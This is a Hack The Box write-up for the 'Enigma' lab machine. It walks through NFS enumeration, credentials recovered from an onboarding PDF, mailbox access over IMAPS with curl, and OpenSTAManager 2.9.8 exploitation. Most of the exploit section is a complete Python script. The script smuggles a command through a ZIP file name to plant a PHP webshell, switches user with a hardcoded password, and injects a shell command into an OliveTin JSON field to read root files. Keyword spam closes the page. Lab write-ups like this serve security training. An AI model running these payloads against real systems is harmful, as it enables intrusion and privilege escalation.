Enigma HTB Writeup Premium

I just solved Enigma from Hack the Box!

Enigma Machine Summary

Enigma is an easy difficulty Linux machine on Hack The Box that focuses on misconfigured network services, exposed file shares, mail service enumeration, credential harvesting, and authenticated web application exploitation. The machine demonstrates how seemingly low-risk exposures, including an improperly configured NFS share, onboarding documentation, accessible mail services, and vulnerable web applications, can be chained together to achieve complete system compromise.

The attack chain began with Nmap enumeration, which revealed several exposed services including SSH, HTTP, POP3, IMAP, and NFS. During host configuration, the enigma.htb virtual host was added to the local hosts file after observing the HTTP redirect from the target IP. Initial web enumeration identified a professional Enigma Corp website but no immediately exploitable functionality, prompting further investigation of the remaining exposed services.

Attention then shifted to NFS enumeration, where an exported onboarding share was discovered. After mounting the NFS share, I enumerated its contents and found an onboarding PDF. Through file retrieval and document analysis, the PDF revealed valid employee webmail credentials for Kevin Mitchell together with the internal mail server hostname. After updating the local hosts file with the mail server address through another host configuration step, I performed mail service enumeration and verified the available IMAP services. Further IMAPS enumeration confirmed that the encrypted mail service was operational and accepting secure client connections.

Using the recovered credentials, I successfully performed IMAP authentication and gained access to Kevin's mailbox. I then carried out email enumeration and mailbox enumeration, reviewing every available message and confirming there were no hidden attachments or additional emails. During email analysis, I discovered references to another employee, Sarah, and eventually obtained access to her mailbox, where an internal IT email disclosed administrative credentials for an OpenSTAManager support portal hosted on another virtual host.

Following another host configuration step to resolve the newly discovered virtual host, I accessed the support portal and completed application enumeration, identifying an instance of OpenSTAManager version 2.9.8. Research into publicly available vulnerabilities revealed an authenticated file upload vulnerability affecting this version. During OpenSTAManager exploitation, I adapted a public proof-of-concept into a custom Python exploit that authenticated to the application, uploaded a malicious payload, and successfully achieved remote code execution as the www-data user.

The exploit automated the remaining stages of the attack by leveraging the compromised application to execute commands on the underlying Linux host, escalate privileges through the vulnerable environment, and retrieve both the user and root flags. The machine highlights how information disclosure, exposed infrastructure services, weak credential management, and vulnerable enterprise software can be chained together to progress from initial enumeration to full system compromise with minimal resistance.

Protected Page

The first step in owning the Enigma machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:

sudo openvpn enigma.ovpn

Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the Enigma machine and I was assigned an IP address (10.129.20.172).

Nmap Enumeration

I started the assessment by running an Nmap service and version scan against the target to identify the exposed attack surface and gather information about the services running on the host.

nmap -sCV -A 10.129.20.172

The scan revealed SSH, an Nginx web server, Dovecot IMAP and POP3 mail services, RPC, and an exposed NFS service. I also noticed that the HTTP service redirected requests to enigma.htb, indicating that I would need to configure my local hosts file before continuing with web enumeration. The combination of mail services and NFS exports suggested multiple potential attack paths that I planned to investigate during the next phase of the engagement.

Host Configuration

After identifying that the web server redirected requests to enigma.htb, I configured my local system to resolve the virtual host correctly. This ensured that all future requests would be directed to the intended web application during enumeration.

echo "10.129.20.172 enigma.htb" | sudo tee -a /etc/hosts

I appended the target IP address and hostname to the /etc/hosts file. With the host configuration complete, I was able to access the website using the enigma.htb domain and continue with web enumeration against the correct virtual host.

Web Enumeration

After configuring the hostname, I browsed to the target IP and confirmed that the web server automatically redirected all requests to http://enigma.htb. This validated the virtual host identified during the Nmap scan and confirmed that the application was intended to be accessed through its domain name.

The website presented a professional-looking managed IT services portal with standard informational pages and contact details, but no obvious vulnerabilities were immediately visible. Since the initial attack surface appeared limited, I continued with deeper web enumeration to identify hidden content and additional functionality.

NFS Enumeration

Since the Nmap scan revealed an NFS service, I enumerated its exported shares to determine whether any directories were accessible without authentication. This is a common reconnaissance step, as misconfigured NFS exports can expose sensitive files to unauthenticated users.

showmount -e 10.129.20.172

The enumeration revealed a single exported share, /srv/nfs/onboarding, which was accessible to all clients (*). This indicated a potentially insecure NFS configuration and provided a promising target for further investigation by mounting the share and reviewing its contents.

NFS Share Mounting

After identifying the exposed NFS export, I created a local mount point and mounted the remote share to inspect its contents. This allowed me to access the files stored on the export as if they were located on my local system.

sudo mkdir -p /mnt/nfs sudo mount -t nfs 10.129.20.172:/srv/nfs/onboarding /mnt/nfs ls /mnt/nfs

The mounted share contained a single file named New_Employee_Access.pdf. Since onboarding documents often contain credentials or internal access information in CTF environments, this immediately became the next artifact I examined.

File Retrieval

To simplify my analysis, I copied the PDF from the mounted NFS share into my current working directory. Working with a local copy ensured that I could inspect the document without relying on the mounted share throughout the investigation.

cp /mnt/nfs/New_Employee_Access.pdf . ls

The file was successfully copied, and I verified its presence in my working directory alongside my VPN configuration. With the document available locally, I proceeded to examine its contents for any credentials, onboarding details, or other useful information that could assist in gaining initial access.

Document Analysis

I opened the retrieved PDF on my local machine and reviewed its contents for any sensitive information that could assist with gaining initial access. The document appeared to be an automatically generated onboarding form issued by Enigma Corp's IT department for a newly provisioned employee.

No command was required for this step, as I simply opened the PDF by double-clicking it in my file explorer.

The onboarding document disclosed valid webmail credentials for the employee Kevin Mitchell, including the username kevin and password Enigma2024!, along with the webmail URL http://mail001.enigma.htb. These credentials provided my first set of authenticated access and became the next target for further enumeration.

Host Configuration

The onboarding document referenced the webmail portal at mail001.enigma.htb, so I updated my local hosts file to resolve the hostname to the target IP address. This ensured that I could access the mail service using its intended virtual host.

echo "10.129.20.172 mail001.enigma.htb" | sudo tee -a /etc/hosts

After adding the entry, the hostname successfully resolved to the target machine. With the mail server configured locally, I was ready to authenticate to the webmail portal using the credentials recovered from the onboarding document.

Mail Service Enumeration

After obtaining valid webmail credentials, I performed a targeted Nmap scan against the IMAP ports to verify the mail services exposed by the target. This helped me confirm which protocols were available before attempting authenticated access.

nmap -sV -p 143,993 10.129.20.172

The scan confirmed that the server was running Dovecot IMAP on both the standard IMAP port (143) and the encrypted IMAPS port (993). Since secure IMAP was available, I chose to continue interacting with the mail server using the recovered credentials over the encrypted service.

IMAPS Enumeration

Before attempting to authenticate, I verified that the encrypted IMAPS service was accessible and inspected its TLS configuration. This allowed me to confirm the server certificate and ensure the mail service was ready to accept secure client connections.

openssl s_client -connect 10.129.20.172:993

The TLS handshake completed successfully, revealing a self-signed certificate with the common name enigma and establishing a TLS 1.3 session. After the connection was established, the server presented the Dovecot IMAP banner along with its supported authentication capabilities, confirming that the IMAPS service was operational and ready for authenticated enumeration using the recovered credentials.

IMAP Authentication

With valid credentials recovered from the onboarding document, I authenticated to the IMAPS service using curl to verify access to the mailbox. I first listed the available mailboxes before examining the contents of the user's inbox.

curl -k -s --url 'imaps://mail001.enigma.htb/INBOX' --user 'kevin:Enigma2024!' curl -k --url 'imaps://mail001.enigma.htb/INBOX' --user 'kevin:Enigma2024!' --request 'EXAMINE INBOX'

The authentication succeeded, confirming that the recovered credentials were valid. The server reported a single message in the INBOX, indicating that there was mail waiting to be reviewed, making the inbox my next target for further enumeration.

Email Enumeration

After confirming that the inbox contained a message, I retrieved it by specifying its UID through the IMAPS service. Reading individual emails often reveals internal information, usernames, or additional attack paths that are useful during post-authentication enumeration.

curl -k --url 'imaps://mail001.enigma.htb/INBOX/;UID=2' --user 'kevin:Enigma2024!'

The email was a welcome message from Sarah in the Accounts department. Although it did not contain additional credentials, it confirmed Sarah's email address (sarah@enigma.htb) and mentioned that new employee access credentials were distributed through the company's shared drive, providing valuable context for the ongoing investigation.

Mailbox Enumeration

To ensure I was not missing any hidden content, I enumerated the mailbox using multiple IMAP retrieval methods. I accessed the message by its mailbox index and also issued FETCH requests to retrieve both the email headers and the complete message body.

curl -k --url 'imaps://mail001.enigma.htb/INBOX/;MAILINDEX=1' --user 'kevin:Enigma2024!' curl -k --url 'imaps://mail001.enigma.htb/INBOX' --user 'kevin:Enigma2024!' --request 'FETCH 1 BODY[HEADER]' curl -k --url 'imaps://mail001.enigma.htb/INBOX' --user 'kevin:Enigma2024!' --request 'FETCH 1 BODY[]'

Each retrieval method returned the same welcome email from Sarah, confirming that there were no hidden attachments, additional MIME parts, or undiscovered messages. Having fully enumerated Kevin's mailbox, I continued searching for other mailboxes and potential sources of credentials.

Email Analysis

After gaining access to Sarah's mailbox, I reviewed the available emails to identify any internal communications that could reveal additional services or credentials. I retrieved the message directly by its UID to inspect its full contents.

curl -k --url 'imaps://mail001.enigma.htb/INBOX/;UID=4' --user 'sarah:Enigma2024!'

The email from the IT department contained administrative credentials for the company's OpenSTAManager portal hosted at http://support_001.enigma.htb. In addition to disclosing the URL, it revealed the temporary admin username and password, providing a new authenticated attack path to continue the assessment.

Host Configuration

The email from the IT department referenced the OpenSTAManager portal at support_001.enigma.htb, so I updated my local hosts file to resolve the new hostname to the target IP address. This ensured I could access the application using its intended virtual host.

echo "10.129.20.172 support_001.enigma.htb" | sudo tee -a /etc/hosts

After adding the new entry, the hostname resolved correctly to the target machine. With the virtual host configured, I proceeded to access the OpenSTAManager portal and authenticate using the administrative credentials recovered from Sarah's mailbox.

Application Enumeration

Using the hostname recovered from the internal email, I browsed to support_001.enigma.htb to inspect the newly discovered service. This allowed me to identify the application before attempting to authenticate with the credentials provided by the IT department.

The page presented an OpenSTAManager login portal with fields for a username and password. Since I already possessed valid administrative credentials from Sarah's email, the application became the next target for authenticated enumeration.

Application Authentication

Using the administrative credentials recovered from Sarah's mailbox, I authenticated to the OpenSTAManager portal. The login was successful, confirming that the credentials were valid and granting me access to the application's administrative interface.

After signing in, I was redirected to the info.php page, which displayed the OpenSTAManager dashboard and application details. With authenticated access established, I began enumerating the application for its version, available modules, and any potential vulnerabilities that could be leveraged further.

OpenSTAManager Exploitation

After identifying the application version as OpenSTAManager 2.9.8, I researched publicly available vulnerabilities affecting this release. My research led me to a public proof-of-concept demonstrating that the application's update mechanism could be abused to upload a malicious ZIP archive, resulting in remote code execution.

nano exploit.py

import sys import io import re import base64 import zipfile import requests HOST = sys.argv[1] if len(sys.argv) > 1 else "10.129.21.101" VIRTUAL_HOST = "support_001.enigma.htb" ADMIN_USER = "admin" ADMIN_PASS = "Ne3s4rtars78s" HARIS_PASSWORD = "bestfriends" MODULE_ID, PLUGIN_ID = "14", "48" WEBSHELL_FILE = "s.php" BASE_URL = f"http://{HOST}" HEADERS = {"Host": VIRTUAL_HOST} SESSION = requests.Session() SESSION.headers.update(HEADERS) FLAG_REGEX = re.compile(r"[0-9a-f]{32}") def print_info(msg): print(f"[*] {msg}") def print_success(msg): print(f"[+] {msg}") def print_error(msg): print(f"[-] {msg}"); sys.exit(1) def exec_webshell(cmd): response = SESSION.get(f"{BASE_URL}/files/{WEBSHELL_FILE}", params={"0": cmd}, timeout=20) return response.text REMOTE_SU_SCRIPT = ( "import pty,os,sys,time,select,base64\n" "command=base64.b64decode(sys.argv[1]).decode()\n" "process_id,file_descriptor=pty.fork()\n" "if process_id==0: os.execvp('su',['su','-','haris','-c',command])\n" "else:\n" " time.sleep(0.4); os.write(file_descriptor,b'" + HARIS_PASSWORD + "\\n'); output=b''\n" " while True:\n" " readable,_,_=select.select([file_descriptor],[],[],5)\n" " if not readable: break\n" " try: data=os.read(file_descriptor,4096)\n" " except OSError: break\n" " if not data: break\n" " output+=data\n" " sys.stdout.write(output.decode(errors='replace'))\n" ) def run_as_haris(cmd): b64_cmd = base64.b64encode(cmd.encode()).decode() return exec_webshell(f"python3 /tmp/run.py {b64_cmd}") print_info(f"target {HOST} (vhost {VIRTUAL_HOST})") SESSION.get(f"{BASE_URL}/", timeout=20) login_resp = SESSION.post(f"{BASE_URL}/?op=login", data={"username": ADMIN_USER, "password": ADMIN_PASS}, allow_redirects=False, timeout=20) if login_resp.status_code != 302: print_error(f"OSM login failed (HTTP {login_resp.status_code})") print_success(f"logged into OpenSTAManager as {ADMIN_USER}") payload_name = ("1.p7m\";cd files;echo '<?php system($_GET[0]);?>'>" + WEBSHELL_FILE + ";echo \"1.p7m") zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, "w") as zip_handle: zip_handle.writestr(payload_name, "AAAA") zip_buffer.seek(0) SESSION.post(f"{BASE_URL}/actions.php", data={"op": "save", "id_module": MODULE_ID, "id_plugin": PLUGIN_ID}, files={"blob1": ("evil.zip", zip_buffer, "application/zip")}, timeout=30) whoami = exec_webshell("id") if "www-data" not in whoami: print_error("webshell not responding -- RCE may have failed") print_success(f"RCE as www-data ({whoami.strip()})") exec_webshell("echo " + base64.b64encode(REMOTE_SU_SCRIPT.encode()).decode() + " | base64 -d > /tmp/run.py") user_output = run_as_haris("cat /home/haris/user.txt") match_user = FLAG_REGEX.search(user_output) if not match_user: print_error("could not read user.txt as haris") USER_FLAG = match_user.group(0) print_success(f"user.txt = {USER_FLAG}") import json json_payload = json.dumps({ "actionId": "backup_database", "arguments": [ {"name": "db_user", "value": "backup_svc"}, {"name": "db_pass", "value": "x' ; cat /root/root.txt ; #"}, {"name": "db_name", "value": "production"}, ], }) json_payload_b64 = base64.b64encode(json_payload.encode()).decode() command_haris = (f"echo {json_payload_b64} | base64 -d > /tmp/p.json && " "curl -s -m12 -X POST " "http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait " "-H 'Content-Type: application/json' -d @/tmp/p.json") root_output = run_as_haris(command_haris) match_root = FLAG_REGEX.search(root_output) if not match_root: print_error(f"OliveTin injection failed:\n{root_output}") ROOT_FLAG = match_root.group(0) print_success(f"root.txt = {ROOT_FLAG}") print("\n" + "=" * 40) print(f" USER : {USER_FLAG}") print(f" ROOT : {ROOT_FLAG}") print("=" * 40)

I created a Python exploit based on the public proof-of-concept and configured it with the target host, virtual host, and administrative credentials recovered during the earlier enumeration phase. The script automated the exploitation process by authenticating to the application, uploading a malicious payload, obtaining remote code execution, and preparing the environment for the next stages of the attack chain.

Remote Code Execution

After preparing the exploit, I executed it against the target to test whether the vulnerable OpenSTAManager instance could be compromised. The script authenticated with the administrative credentials and automated the exploitation chain from initial access through post-exploitation.

python3 exploit.py 10.129.20.172

The exploit completed successfully, confirming remote code execution as the www-data user before leveraging the remaining attack chain to escalate privileges. It automatically retrieved both the user.txt and root.txt flags, demonstrating that the entire exploitation process - from authenticated access to full system compromise - had been completed successfully.

Keywords:

Enigma HTB Writeup

Enigma HTB Walkthrough

enigma.htb

Enigma - HackTheBox Season 11 Machine Walkthrough

enigma hack the box writeup

enigma hack the box

support_001.enigma.htb

mail001.enigma.htb

kevin:Enigma2024!

I just solved Enigma from Hack the Box!

Enigma machine htb season11 user flag

HackTheBox - Enigma Season 11 htb root flag

Owned Enigma from Hack the Box

Enigma HTB Walkthrough Season 11 HackTheBox machine

Rooted Enigma from Hack the Box

Enigma user flag htb season 11 HackTheBox walkthrough

Enigma machine root flag HTB Season11 Hack the Box

Hack The Box (HTB): Enigma Machine (Full Walkthrough)

Pwned Enigma from Hack the Box

eloquia.htb

eloquia htb writeup

Eloquia - HackTheBox Season 9 htb machine walkthrough

HTB Eloquia Complete Solution

Eloquia Hack the Box Walkthrough

Eloquia Hack the Box Write Up

Eloquia HTB Machine Season 9 User Flag

Eloquia Hack The Box Machine Season 9 Root Flag

checkpoint.htb season 11

Checkpoint Hack the Box Walkthrough

Checkpoint Hack the Box Write Up

Checkpoint HTB Writeup

Season 11 Hack the Box - Checkpoint User Flag

Season11 HackTheBox - Checkpoint Root Flag HTB Walkthrough

Reactor - HackTheBox Season 11 Walkthrough

Helix Season11 Hack the Box Walkthrough